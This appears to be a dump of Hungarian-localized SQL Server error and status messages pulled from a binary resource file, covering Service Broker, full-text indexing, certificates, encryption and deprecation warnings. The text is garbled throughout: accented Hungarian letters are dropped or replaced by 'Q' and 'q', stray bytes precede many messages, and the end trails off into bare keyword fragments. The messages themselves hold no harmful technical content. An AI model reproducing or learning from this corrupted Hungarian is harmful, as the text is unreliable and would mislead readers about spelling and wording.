A Service Broker szolgltats nem tudta kitiszttani a kvetkezQ adatbzis beszlgetsvgpontjait:  %1!s! . Egy problma megakadlyozza az SQL Server rendszert abban, hogy befejezhesse ezt a mqveletet. Tovbbi zenetekrt tekintse meg az SQL Server hibanapljt.

A rendszer az azonos tvitelszervezQpldny-azonostk miatt nem indtja el tvitelszervezQknt a kvetkezQ adatbzist:  %1!s! .

A(z)  %2!s!  vrakozsi soron fut aktivlt  %1!s!  eljrs a kvetkezQ kimenetet adta:  %3!s! .

A(z)  %2!s!  %1!s! el lett dobva a frissts sorn, mert az egy eldobott rendszerkivonatra hivatkozott.

pA kvetkezQ protokolltvitel nem rhetQ el: %1!s!.

A cl-vrakozsisor elfoglalt; a kzbestendQ zenet(ek) a vrakozsi sorba kerltek.

|Nincs olyan tvonal, amely megegyezik a beszlgetshez tartoz clszolgltatsnvvel. A beszlgets zeneteinek kzbestse rdekben hozzon ltre egy tvonalat a clszolgltatsnvhez.

\A hitelests sikertelen. Hiba:  %1!s! .

A kvetkezQ kapcsolat elutastva: %1!s!. A tvoli kiszolgl felhasznli fikja nem rendelkezik jogosultsggal ahhoz, hogy bejelentkezzen erre az SQL Server rendszerre. Felhasznli fik:  %2!s! , IP-cm:  %3!s! .

lA cl-szolgltatstvitelszervezQ nem rhetQ el.

pA kapcsoldsi ksrlet sikertelen. Hiba:  %1!s! .

lHiba trtnt az adatok fogadsa kzben:  %1!s! .

BelsQ kivtel trtnt a szomszdos tvitelszervezQhz val kapcsolds kzben. Hiba: %1!s!, llapot: %2!s!. %3!s!

Hlzatiprotokoll-hiba trtnt a Service Broker szolgltatsra vagy az adatbzis-tkrzsre vonatkozan.

Hiba trtnt a bejelentkezsi protokoll egyeztetse sorn.

`Hiba trtnt az adatklds sorn:  %1!s! .

tA kapcsolat tbb mint %1!s! msodpercig inaktv volt.

Hiba trtnt az SQL Server-pldnyhoz tartoz nyilvnoskulcs-tanstvny keresse sorn: nem tallhat tanstvny.

(Hiba trtnt az SQL Server ezen pldnyhoz tartoz nyilvnos kulcs tanstvny megkeressekor. A megtallt tanstvny jelenleg nem rvnyes.

Hiba trtnt az SQL Server ezen pldnyhoz tartoz nyilvnos kulcs tanstvny megkeressekor. A megtallt tanstvny tl nagy.

8Hiba trtnt az SQL Server ezen pldnyhoz tartoz nyilvnos kulcs tanstvny megkeressekor. A megtallt tanstvnyhoz nem tartozik titkos kulcs.

Ismeretlen belsQ hiba (%1!s!) trtnt az SQL Server-pldnyhoz tartoz nyilvnoskulcs-tanstvny keresse sorn.

Kevs a memria, ami megakadlyozta a Service Broker/adatbzis-tkrzs tvitelkezelQjnek az elindulst.

tvonalak s biztonsgi informcik helynek meghatrozsa az tvitelszervezQ-konfigurcis szolgltatson keresztl.

A szolgltatstvitelszervezQ-kezelQ egyfelhasznls zemmdban le van tiltva.

<A(z)  %1!s!  adatbzis Service Broker szolgltatsa le van tiltva, mert mr van egy engedlyezett Service Broker szolgltats ugyanezzel az azonostval.

4Nem lehet j Service Broker szolgltatst ltrehozni a csatolt, csak olvashat  %1!s!  adatbzisban. A Service Broker szolgltats letiltsra kerl.

A(z)  %1!s!  adatbzis Service Broker szolgltatsa letiltsra kerl, mert a Service Broker szolgltatshoz tartoz GUID azonost az adatbzisban (%2!s!) nem egyezik meg a sys.databases nzetben tallhatval (%3!s!).

A Service Broker szolgltats END CONVERSATION zenetet kapott ebben a beszlgetsben. A Service Broker nem kldi el az zenetet; addig vissza lesz tartva, amg az alkalmazs be nem fejezi a beszlgetst.

A szolgltatstvitelszervezQ-kezelQ inicializlsa folyamatban van.

A szolgltatstvitelszervezQ-kezelQ lelltsa folyamatban van.

BelsQ kivtel trtnt egy zenet elkldse kzben. Hiba: %1!s!, llapot: %2!s!. %3!s!

`A DNS-cmkeress sikertelen. Hiba:  %1!s! .

A Service Broker szolgltats hibazenetet kapott ebben a beszlgetsben. A Service Broker nem kldi el az zenetet; addig vissza lesz tartva, amg az alkalmazs be nem fejezi a beszlgetst.

Xrvnytelen cm lett megadva:  %1!s! .

A felhasznlnv nem krhetQ le a biztonsgi krnyezetbQl. Hiba:  %1!s! . llapot: %2!s!.

Hiba trtnt az tvitelszervezQ tkrzsi tvonalainak feldolgozsa sorn. Hiba: %1!s!. llapot: %2!s!.

Nem sikerlt tovbbtani a berkezQ zenetet. Az tvonal-informcikat tartalmaz msdb rendszeradatbzis nem rhetQ el.

hNem sikerlt tovbbtani a berkezQ zenetet. Az tvonal-informcikat tartalmaz msdb rendszeradatbzis nem rhetQ el. Az tvitelszervezQ le van tiltva az msdb adatbzisban.

Nem sikerlt tovbbtani a berkezQ zenetet. Az tvonal-informcikat tartalmaz msdb SINGLE USER (egyfelhasznls) zemmdban van.

xAz tvitelszervezQ le van tiltva a kldQ adatbzisban.

Nem sikerlt tovbbtani az zenetet, mert a tovbbts le van tiltva ebben az SQL Server-pldnyban.

<A clszolgltatsnv nem tallhat. GyQzQdjn meg arrl, hogy a szolgltats neve helyesen van-e megadva s/vagy meg lettek-e adva a tovbbtsi adatok.

Az tvitelszervezQtkrzs-kezelQ nem lett teljesen inicializlva.

A cl-tvitelszervezQ nem tallhat a helyi SQL Server-pldnyban.

A clszolgltatsnv megegyezik a LOCAL (helyi) tvonallal, de ilyen nevq szolgltats nincs a helyi SQL Server-pldnyban.

Az osztlyozs ksleltetsre kerl, mert a tovbbtsi adatok jelenleg frissts alatt llnak.

A kapcsolatot a tvoli vg bezrta, vagy hiba trtnt az adatok fogadsa sorn:  %1!s! 

Figyelmeztets: adatvesztshez vezetett a kvetkezQ konverzi: errQl: %1!s!, erre: %2!s!.

A(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) teljes szveges katalgus szmra kevs a rendszererQforrs. Az esetlegesen folyamatban lvQ feltltseket a rendszer sznetelteti, amg nem szabadul fel nmi erQforrs. Okkd: %5!s!. Hiba: %6!s!. Ha ez az zenet gyakran elQfordul, prblja meg szerializlni tbb katalguson a teljes szveges indexelst.

A teljes szveges katalgusok llapotfigyelQje hibt jelentett a(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) teljes szveges katalgusra vonatkozan. Okkd: %5!s!. Hiba: %6!s!. Ha ez az zenet gyakran elQfordul, tekintse meg az SQL Server online knyvek hibaelhrtsi informciit. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) teljes szveges katalgus egy hibbl val helyrells rdekben jra lesz csatlakoztatva. Okkd: %5!s!. Hiba: %6!s!. Ha ez az zenet gyakran elQfordul, tekintse meg az SQL Server online knyvek hibaelhrtsi informciit. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Tjkoztat: A teljes szveges indexelQ a(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) katalgus llapotnak megvltoztatst krelmezte. j llapot: %5!s!, ok: %6!s! (%7!s!).

A teljes szveges katalgus figyelQje a(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) katalgusra vonatkozan a kvetkezQ llapotrl tett jelentst: %5!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Hiba: A(z)  %2!s!  azonostj adatbzisban tallhat,  %1!s!  azonostj teljes szveges katalgus elemeinek sszestett szma meghaladja a tmogatott korltozst. Hibaelhrtsi informcik az online knyvekben tallhatk.

A(z)  %4!s!  (%5!s!) adatbzisban tallhat  %2!s!  (%3!s!) katalgus llapott a rendszer a kvetkezQre mdostja: %1!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

 A(z)  %4!s!  (%5!s!) adatbzisban tallhat  %2!s!  (%3!s!) katalgus llapott nem sikerlt a kvetkezQre mdostani: %1!s!. Hiba: %6!s!.

Figyelmeztets: Hiba trtnt a(z)  %2!s!  tbla vagy indexelt nzet teljes szveges %1!s!-feltltse sorn. Adatbzis:  %3!s!  (tbla vagy indexelt nzet azonostja:  %4!s! , adatbzis-azonost:  %5!s! ). Hiba: %6!s!.

Tjkoztat: A(z)  %2!s!  tbla vagy indexelt nzet teljes szveges %1!s!-feltltse inicializlva (tbla vagy indexelt nzet azonostja:  %3!s! , adatbzis-azonost:  %4!s! ). Feltltsi alfeladatok: %5!s!.

Hiba: Nem sikerlt inicializlni a(z)  %2!s!  tbla vagy indexelt nzet teljes szveges %1!s!-feltltst. Adatbzis:  %3!s!  (tbla vagy indexelt nzet azonostja:  %4!s! , adatbzis-azonost:  %5!s! ). Hiba: %6!s!.

Tjkoztat: A(z)  %1!s!  tbla vagy indexelt nzet teljes szveges feltltse folytatdik. Adatbzis:  %2!s!  (tbla vagy indexelt nzet azonostja:  %3!s! , adatbzis-azonost:  %4!s! ). Feldolgozott dokumentumok korbbi szma: %5!s!, szlelt hibk: %6!s!.

A(z)  %2!s!  tbla (tblaazonost:  %3!s! , adatbzis-azonost:  %4!s! ) teljes szveges %1!s!-feltltse jra lett inicializlva egy tmeneti hibt kvetQen. A hiba bekvetkezte elQtt feldolgozott dokumentumok szma: %5!s!, szlelt hibk: %6!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Hiba: Az tmeneti hibt kvetQen nem sikerlt jrainicializlni a(z)  %2!s!  tbla vagy indexelt nzet teljes szveges %1!s!-feltltst. Adatbzis:  %3!s!  (tbla vagy indexelt nzet azonostja:  %4!s! , adatbzis-azonost:  %5!s! ). Hiba: %6!s!.

LFigyelmeztets: A kvetkezQ teljes szveges katalgus FAT-ktetet hasznl:  %1!s! . A katalgus nem tmogatja a vdelmi s a klnbzeti biztonsgi msolatokat.

pFigyelmeztets: Nem sikerlt lekrni az MSFTESQL indexelQ felletet a(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) teljes szveges katalgus szmra. Hiba: %5!s!.

,Figyelmeztets: A(z)  %1!s!  tbla vagy indexelt nzet teljes szveges feltltsnek nem sikerlt elkldenie az adatkteget az MSFTESQL szolgltatsnak (tbla vagy indexelt nzet azonostja:  %2!s! , katalgusazonost:  %3!s! , adatbzis-azonost:  %4!s! ). Hiba: %5!s!.

XFigyelmeztets: A(z)  %1!s!  tbla vagy indexelt nzet teljes szveges feltltse kevs erQforrsrl tett jelentst, mikzben adatkteget kldtt az MSFTESQL szolgltatsnak (tbla vagy indexelt nzet azonostja:  %2!s! , katalgusazonost:  %3!s! , adatbzis-azonost:  %4!s! ). Hiba: %5!s!.

,Tjkoztat: Az MS Search lellsi korltja el lett rve. Lehetsges, hogy a teljes szveges lekrdezs kevesebb sorral trt vissza a kelletnl.

Tjkoztat: A teljes szveges keressi felttel tltelkszt/tltelkszavakat tartalmazott.

Null dokumentumtpus lett megadva. A sorra nem lesz rvnyes a teljes szveges indexels.

A dokumentumtpus meghaladja a maximlisan megengedett hosszsgot. A sorra nem lesz rvnyes a teljes szveges indexels.

A dokumentumtpus rtke helytelenl van formzva. A sorra nem lesz rvnyes a teljes szveges indexels.

BelsQ hiba: A sorra nem alkalmazhat a teljes szveges indexels. A protokoll-ler sorrenden kvl lett meghvva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra. 

A sor nem tallhat. Az indexels alatt trlve vagy frisstve lett.

<Figyelmeztets: A(z)  %1!s!  ltal hasznlt szkeresQ, szqrQ vagy protokoll-ler nem ltezik ezen a pldnyon. Hasznlja az sp_help_fulltext_catalog_components s az sp_help_fulltext_system_components eljrst az eltrQ sszetevQk megkeresshez. A katalgus jraptse javasolt.

Tjkoztat: Nem tallhat olyan nyelv, amely tmogatja a teljes szveges funkcit.

Hiba: A(z)  %2!s!  tbla vagy indexelt nzet teljes szveges %1!s!-feltltse (tbla vagy indexelt nzet azonostja:  %3!s! , adatbzis-azonost:  %4!s! ) le lett lltva az elQzQ hiba miatt.

tInformci: A rendszer felfggeszti a teljes szveges %1!s! feltltst a(z)  %2!s!  tblnl vagy indexelt nzetnl (a tbla vagy indexelt nzet azonostja  %3!s! , az adatbzis azonostja  %4!s! ), mert az adatbzis nem rhetQ el. A rendszer folytatja majd a feltltst, amint az adatbzis elrhetQ lesz.

Informci: A felhasznl megszaktotta a teljes szveges %1!s! feltltst a(z)  %2!s!  tblnl vagy indexelt nzetnl (a tbla vagy indexelt nzet azonostja  %3!s! , az adatbzis azonostja  %4!s! ).

Tjkoztat: A(z)  %2!s!  tbla vagy indexelt nzet teljes szveges %1!s!-feltltse (tbla vagy indexelt nzet azonostja:  %3!s! , adatbzis-azonost:  %4!s! ) sikeresen befejezQdtt. Feldolgozott dokumentumok szma: %5!s!. Sikertelen dokumentumok szma: %6!s!. Azon dokumentumok szma, amelyek feldolgozst a rendszer jraprblja: %7!s!.

TTjkoztat: A(z)  %2!s!  tbla vagy indexelt nzet %1!s!-feltltsnek teljes szveges jraprblsi menete befejezQdtt (tbla vagy indexelt nzet azonostja:  %3!s! , adatbzis-azonost:  %4!s! ). Feldolgozott, jraprblt dokumentumok szma: %5!s!. Sikertelen dokumentumok szma: %6!s!.

`Hiba: A(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) katalgusra vonatkoz sszes teljes szveges feltlts le lett lltva egy hiba miatt. Hiba: 0x%5!s!.

xFigyelmeztets: A(z)  %1!s!  knyvtrban tallhat teljes szveges katalgus azonossga nem egyezik meg a kvetkezQ adatbzissal:  %2!s! . A teljes szveges katalgus nem csatolhat.

`Figyelmeztets: A teljes szveges katalgus kvetkezQ elrsi tja rvnytelen:  %1!s! . Az elrsi t meghaladja a hosszkorltozst, illetve relatv elrsi t, rejtett knyvtr vagy UNC PATH. A teljes szveges katalgus nem csatolhat, a katalgushivatkozs feloldshoz ptse jra a katalgust.

Hiba: A(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) teljes szveges katalgusra vonatkoz sszes teljes szveges feltlts szneteltetve lett. Okkd: %5!s!. Hiba: %6!s!. Ha ez az zenet gyakran elQfordul, akkor keressen az online knyvekben az indexelsi teljestmny hangolsra vonatkoz tancsokat.

Tjkoztat: A teljes szveges katalgusok llapotfigyelQje hibt jelentett a(z)  %3!s!  ( %4!s! ) adatbzisban tallhat  %1!s!  ( %2!s! ) teljes szveges katalgusra vonatkozan. Okkd: %5!s!. Hiba: %6!s!. A katalgus srlt, s az sszes folyamatban lvQ feltlts lell. Hasznlja a katalgus-jraptQ funkcit a hiba helyrelltshoz, s kezdje ellrQl a feltltst.

<Figyelmeztets: A(z) %1!s! adatbzis nem mdosthat a levlaszts ideje alatt, mert az adatbzis csak olvashat, kszenlti vagy lelltsi llapotban van. A teljes szveges katalgus nem lesz eldobva, s a  @keepfulltextindexfile = false  argumentum figyelmen kvl lesz hagyva.

Tjkoztat: Vgzetes bejrsi hiba miatt a(z)  %1!s!  tbla vagy indexelt nzet (tbla vagy indexelt nzet azonostja:  %2!s! , adatbzis-azonost:  %3!s! ) teljes szveges, automatikus vltozskvetse ki lett kapcsolva.

A rendszer azt szlelte a teljes szveges katalgusban, hogy az kezetek figyelembe vtele kvetkezetlen. A teljes szveges katalgus alaphelyzetbe kerl. Katalgusazonost:  %1!s! , adatbzis-azonost:  %2!s! .

$A(z)  %1!s!  adatbzisban nincs alaprtelmezett teljes szveges katalgus vagy a felhasznlnak nincs jogosultsga a mqvelet vgrehajtsra.

XFigyelmeztets: A rendszer nem tallt megfelelQ szqrQt a(z)  %1!s!  tbla vagy indexelt nzet (tbla vagy indexelt nzet azonostja:  %2!s! , adatbzis-azonost:  %3!s! ) teljes szveges indexfeltltse sorn. Teljes szveges kulcs rtke:  %4!s! . A sor nhny oszlopa nem kerlt indexelsre.

Figyelmeztets: A rendszer nem tallt megfelelQ szkeresQt a(z)  %1!s!  tbla vagy indexelt nzet (tbla vagy indexelt nzet azonostja:  %2!s! , adatbzis-azonost:  %3!s! ) teljes szveges indexfeltltse sorn. Teljes szveges kulcs rtke:  %4!s! . A sor nhny oszlophoz semleges szkeresQ lett felhasznlva.

Figyelmeztets: A rendszer nem tallt megfelelQ szqrQt a begyazott objektumhoz a(z)  %1!s!  tbla vagy indexelt nzet (tbla vagy indexelt nzet azonostja:  %2!s! , adatbzis-azonost:  %3!s! ) teljes szveges indexfeltltse sorn. Teljes szveges kulcs rtke:  %4!s! . A sor nhny begyazott objektumt nem lehetett indexelni.

`Informci: A rendszer sznetelteti a teljes szveges %1!s! feltltst a(z)  %2!s!  tblnl vagy indexelt nzetnl (a tbla vagy indexelt nzet azonostja  %3!s! , az adatbzis azonostja  %4!s! ). A feldolgozott dokumentumok szma: %5!s!. A sikertelenl feldolgozott dokumentumok szma: %6!s!.

Figyelmeztetst: Csak a fut teljes feltltsek szneteltethetQk. A parancsot a rendszer figyelmen kvl hagyja. A feltlts msik tpusa lellthat, ami akkor fog folytatdni, amikor ismtelten elindt egy ugyanilyen tpus bejrst.

Figyelmeztetst: Csak a fut teljes feltltsek folytathatk. A parancsot a rendszer figyelmen kvl hagyja.

Figyelmeztets: A(z)  %1!s!  knyvtrban tallhat teljes szveges katalgus legutbbi feltltsnek befejezsi idQpontja nem egyezik a kvetkezQ adatbzissal:  %2!s! . A teljes szveges katalgus csatolva van, s lehetsges, hogy jbl fel kell tlteni.

$Figyelmeztets: A frissts ideje alatt a(z)  %1!s!  tbla teljes szveges indexe letiltsra kerl, mert a teljes szveges kulcsoszlop, a teljes szveges oszlopok vagy a tpusoszlopok kzl legalbb egy nem determinisztikus vagy pontatlan, nem trolt szmtott oszlop.

Figyelmeztets: A frissts ideje alatt a(z)  %2!s!  adatbzisban tallhat  %1!s!  teljes szveges katalgust a rendszer offline mdra lltja, mert nem sikerlt azt ltrehozni a kvetkezQ elrsi ton:  %3!s! . Javtsa a teljes szveges katalgus elrsi tjt, s a frissts utn ptse jra a teljes szveges katalgust.

Informci: A rendszer sznetelteti a teljes szveges %1!s! feltltst a(z)  %2!s!  tblnl vagy indexelt nzetnl (a tbla vagy indexelt nzet azonostja  %3!s! , az adatbzis azonostja  %4!s! ).

DFigyelmeztets: Az n ltal regisztrlni kvnt .NET-keretrendszerbeli  %1!s!  szerelvny nem lett teljes krqen tesztelve az SQL Server ltal futtatott krnyezetben, s nem tmogatott. Ha a jvQben frissti vagy karbantartja s javtja ezt a szerelvnyt vagy a .NET-keretrendszert, elQfordulhat, hogy a CLR-integrcis rutinja nem fog tovbb mqkdni. Tovbbi informci az SQL Server online knyvekben olvashat.

<Figyelmeztets: Az n ltal regisztrlni kvnt  %1!s!  SQL Server-gyflszerelvny nem lett teljes krqen tesztelve az SQL Server trolt krnyezetben.

TA(z) %1!s!. szm AppDomain (%2!s!) kikapcsoland jellst kapott a kzs nyelvi futtatkrnyezet (CLR) vagy a biztonsgi adatdefincis nyelv (DDL) mqveletei miatt.

A(z) %1!s!. szm AppDomain (%2!s!) memrianyoms miatt kikapcsoland jellst kapott.

4Nem sikerlt sorba lltani a CLR indtst clz feladatot az SQL Server indtsa sorn. Hibakd: %1!s!. A CLR igny szerinti mdon lesz elindtva.

A(z)  %1!s!  segdterv egyezett az utastssal, miutn a FORCED (knyszertett) vagy SIMPLE (egyszerq) paramterezssel automatikusan paramterezve lett, azonban a benne tallhat RECOMPILE (jrafordts) mutat mellQzve lett. Automatikusan paramterezett utastsokon a RECOMPILE mutat nincs tmogatva. Fontolja meg a segdterv eldobst vagy a RECOMPILE mutat eltvoltst belQle.

tSikertelen volt egy feladat sorballtsa egy egyszerq szolgltatsnvnek az SQL Server szolgltats szmra val bejegyzshez. A Kerberos hitelests mindaddig nem hasznlhat, amg kzzel fel nem vesznek egy egyszerq szolgltatsnevet, vagy jra nem indtjk az SQL Server rendszert. SQLOS-hibakd: %1!s!.

pSikerlt jrakonfigurlni az erQforrs-kormnyzt.

A rendszer vltozst szlelt a vgpont-konfigurciban. A Service Broker-kezelQ s -tviteli szolgltats jraindul.

A rendszer vltozst szlelt a tanstvnyokban. A Service Broker-kezelQ s -tviteli szolgltats jraindul.

Srlt zenet rkezett. Egy sorrend nlkli zenet nulltl eltrQ sorszmmal rendelkezett. Ez a kvetkezQ tulajdonsgokkal rendelkezQ zenetnl trtnt: beszlgetsazonost:  %1!s! , kezdemnyezQ: %2!s!, zenet sorszma: %3!s!.

Hiba trtnt readonly vagy TEMPDB XDES vgrehajtsa sorn. A kiszolgl lell.

Hiba trtnt a kvetkezQ objektum tranzakcirtestsnek vgrehajtsa sorn: %1!s!. Esemny: %2!s!.

Hiba trtnt a visszallts sorn. Az adatbzis lell (hely: %1!s!).

Hiba trtnt a kvetkezQ fenntartott naplterlet felszabadtsa sorn: %1!s!. Terlet: %2!s!, kd: %3!s!, llapot: %4!s!.

Nem sikerlt rgzteni egy helyi ktfzis vgrehajtsi tranzakci eredmnyt. A rendszer offline llapotra lltja az adatbzist.

Figyelmeztets: A(z) %1!s! opci nem alkalmazhat a(z) %2!s! tblra, mert nem rendelkezik frtztt indexszel. Ez az opci a tblnak csak a nem frtztt indexeire lesz alkalmazva, ha van ilyen.

dA(z) %1!s! utastsok nincsenek megerQstve.

tAz SQL Server elindtva nyelvi szolgltatsi mdban.

A(z) %1!s! utastsok  %2!s!  kapcsolval adatrtegbeli alkalmazsban nem tmogatottak.

A(z) %1!s! utastsok nem tmogatottak egy adatrtegbeli alkalmazs legfelsQ szintjn.

Nem lehet vgrehajtani a kvetkezQ felhasznlknt, mert az nem ltezik:  %1!s! .

A(z)  %1!s!  sorozatobjektumhoz tartoz gyorsttr mretnek belltsa NO CACHE.

A(z)  %1!s!  sorozatobjektumhoz tartoz gyorsttr mrete nagyobb a rendelkezsre ll rtkek szmnl. A rendszer automatikusan belltotta a gyorsttr mrett a sorozatbl fennmarad rtkek szmnak megfelelQen.

A trbeli index le van tiltva vagy offline llapotban van.

A trbeli objektum nincs megadva a prediktum hatkrben.

A trbeli indexek nem tmogatjk a prediktumban megadott comparand paramtert.

A trbeli indexek nem tmogatjk a prediktumban megadott comparator paramtert.

A trbeli indexek nem tmogatjk a prediktumban megadott metdusnevet.

A comparand paramter olyan oszlopra hivatkozik, amely a prediktum utn van megadva.

Az sszehasonlt prediktumban tallhat comparand paramter nem determinisztikus.

A trbeli paramter olyan oszlopra hivatkozik, amely a prediktum utn van megadva.

Nem tallhat meg felttelben a szksges binris trbeli metdus.

|Nem tallhat meg a szksges sszehasonlt prediktum.

Frisstve lett a(z)  %2!s!  %1!s! defincija a(z)  %3!s!  adatbzis tartalmazsi belltsa mdostsnak rszeknt, mert az objektum a beptett  %4!s!  fggvnytQl fgg. Egy tartalmazott adatbzisban ennek a beptett fggvnynek a kimeneti rendezse a kvetkezQre mdosult, ami eltr egy nem tartalmazott adatbzisban hasznlt rendezstQl:  %5!s! .

DETACH

`A tanstvny titkos kulcsa nem tallhat.

A tanstvny titkos kulcsnak mrete nem kompatibilis a titkostsszolgltatval.

A tanstvny nyilvnos kulcsnak mrete nem kompatibilis a titkostsszolgltatval.

A tanstvny titkos kulcsnak mrete nem kompatibilis a titkostott kulcscserekulccsal.

A tanstvny nyilvnos kulcsnak mrete nem kompatibilis a biztonsgi fejlc alrsval.

dA tanstvny titkos kulcsa jelszval vdett.

A tanstvny titkos kulcsval trtnQ visszafejtst kvetQen a kulcscsere kulcsa rvnytelen mretq.

A tanstvny megkeresshez hasznlt adatbzistag rvnytelen.

Az adatbzistag nincs kiszolgli rsztvevQhz hozzrendelve.

A tanstvny le van tiltva a BEGIN DIALOG utasts szmra.

DA tanstvny nem tallhat.

HA tanstvny mg nem rvnyes.

4A tanstvny lejrt.

|A tanstvny nagyobb a maximlisan megengedett mretnl.

4zenet idQblyegzQje

DCL: TVITELSZERVEZP-PLDNY

,CL: SZOLGLTATS

HFORRS: TVITELSZERVEZP-PLDNY

4FORRS: SZOLGLTATS

0SZOLGLTATSKIVONAT

 ZENETTPUS

PZENET SRTETLENSGNEK ELLENPRZSE

,KULCS VDPRTKE

(MUNKAMENETKULCS

(KULCSCSEREKULCS

TFORRSTANSTVNY KILLTJNAK NEVE

HFORRSTANSTVNY SOROZATSZMA

LCLTANSTVNY KILLTJNAK NEVE

@CLTANSTVNY SOROZATSZMA

@BIZTONSGI FEJLC ALRSA

 ZENETTRZS

UTASTS

(frtztt index

4elsQdleges XML-index

0kzi feladattvtel

@automatikus feladattvtel

<feladattvtel partnertQl

<szerepkr-szinkronizls

DFORCE_SERVICE_ALLOW_DATA_LOSS

hozzads

(a kvetkezQhz:

(a kvetkezQbQl:

$engedlyezs

letilts

,jramegfeleltets

INSERT

UPDATE

DELETE

$WHEN MATCHED

,WHEN NOT MATCHED

@WHEN NOT MATCHED BY SOURCE

(TOP vagy OFFSET

GROUP BY

HAVING

ORDER BY

 OUTPUT INTO

SELECT

WHERE

vratlan

A titkostsi API helytelen adatot szlelt a visszafejtsi mqvelet vgrehajtsa sorn.

OUTPUT

,Ideiglenes tblk

Feliratok

Drendelkezsre llsi csoport

 tpustbla

esemny

cl

(esemnymqvelet

0esemny-munkamenet

$esemnycsomag

(esemnyobjektum

Lesemnyprediktum-sszehasonlt

Xesemnyattribtum vagy prediktumforrs

@testre szabhat attribtum

,esemnyprediktum

,prediktumforrs

,esemnyattribtum

$particionlt

,nem particionlt

,erQforrskszlet

4munkaterhels-csoport

0erQforrs-kormnyz

 thelyezs

 UPDATETEXT

WRITETEXT

srlt lap (vrt alrs: 0x%1!s!; tnyleges alrs: 0x%2!s!)

rvnytelen ellenQrzQsszeg (vrt: 0x%1!s!; tnyleges: 0x%2!s!)

Drvnytelen vdelmi bellts

Drvnytelen titkostsi kulcs

Ha lap visszafejtse sikertelen

a visszafejts sikertelen (vrt: 0x%1!s!; tnyleges: 0x%2!s!)

ha lap nem fejthetQ vissza, mert hinyzik a DEK

4CREATION_DISPOSITION

,PROVIDER_KEY_NAME

$kulcs forrsa

$ENCRYPTION BY

(nyilvnos kulcs

$titkos kulcs

8titkostsi szolgltat

\titkostsi szolgltat DLL-elrsi tja

Ptitkostsi szolgltat valdi neve

verzi

GUID

lhitelestQ adat ltrehozsa a kvetkezQ szmra:

Xtitkostsi szolgltat kulcsnak neve

0kulcsperzisztencia

ptitkostsi szolgltat kulcsnak ujjlenyomathossza

dtitkostsi szolgltat kulcsnak BLOB-hossza

ez a mqvelet nem hajthat vgre felhasznli tranzakcin bell.

\Teljes szveges lekrdezs karakterlnca

LTeljes szveges lekrdezs nyelve

XTeljes szveges lekrdezs kulcsai max.

Lteljes szveges lelltsi lista

Sikeres   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

Sikertelen   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

Nem elegendQ mretq puffer   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

Nem tmogatott   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

Az objektum nem tallhat   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

Hitelestsi hiba   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

rvnytelen argumentum   Rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

Szolgltati hiba   Nem rhetQ el magyarzat, rszletekrt vegye fel a kapcsolatot az EKM-szolgltatval

$Kulcs jelzQi

Kulcsnv

$Kulcs tpusa

Hely:

dHely a megadott clcsomponthoz viszonytva:

<tulajdonsglista keresse

MERGE

PAD_INDEX

 FILLFACTOR

(SORT_IN_TEMPDB

(IGNORE_DUP_KEY

8STATISTICS_NORECOMPUTE

A bQvtett trolt eljrs API-ja el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

Az SQL Server egy jvQbeli verzijban meg fog szqnni annak a lehetQsge, hogy TIMESTAMP oszlopokba az INSERT utastssal NULL rtkeket lehessen beszrni. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Helyette hasznlja a DEFAULT kulcsszt.

tA szvegkonstansok oszlopaliasnvknt val hasznlatnak lehetQsge meg fog szqnni az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Helyette hasznljon AS zradkot.

Az SQL Server egy jvQbeli verzijban meg fog szqnni annak a lehetQsge, hogy ideiglenes tblk s trolt eljrsok szmra az  #  s  ##  neveket lehessen megadni. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

Az SQL Server egy jvQbeli verzijban meg fog szqnni annak a lehetQsge, hogy a  @  karaktert s  @@  karakterekkel kezdQdQ neveket lehessen Transact-SQL-azonostkknt hasznlni. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

<A DEFAULT kulcssz alaprtelmezett rtkknt val hasznlatnak lehetQsge meg fog szqnni az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt.

<A FASTFIRSTROW mutat el lesz tvoltva az SQL Server egy jvQbeli verzijban. Kerlje a funkci hasznlatt az j fejlesztsi munklatok sorn, s tervezze megvltoztatni azokat az alkalmazsokat, amelyek jelenleg hasznljk azt. Hasznlja helyette az OPTION (FAST n) zradkot.

